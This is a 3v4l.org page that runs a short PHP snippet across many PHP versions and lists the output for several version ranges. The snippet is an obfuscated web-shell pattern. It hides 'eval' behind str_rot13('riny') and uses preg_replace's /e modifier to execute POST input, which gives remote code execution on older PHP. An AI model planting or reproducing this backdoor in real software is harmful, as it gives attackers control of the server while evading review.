3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_POST['dak'] = "http://google.com"; if(isset($_POST['dak'])){ echo ($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add'); }
Output for 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.40
1
preferences:
251.45 ms | 402 KiB | 331 Q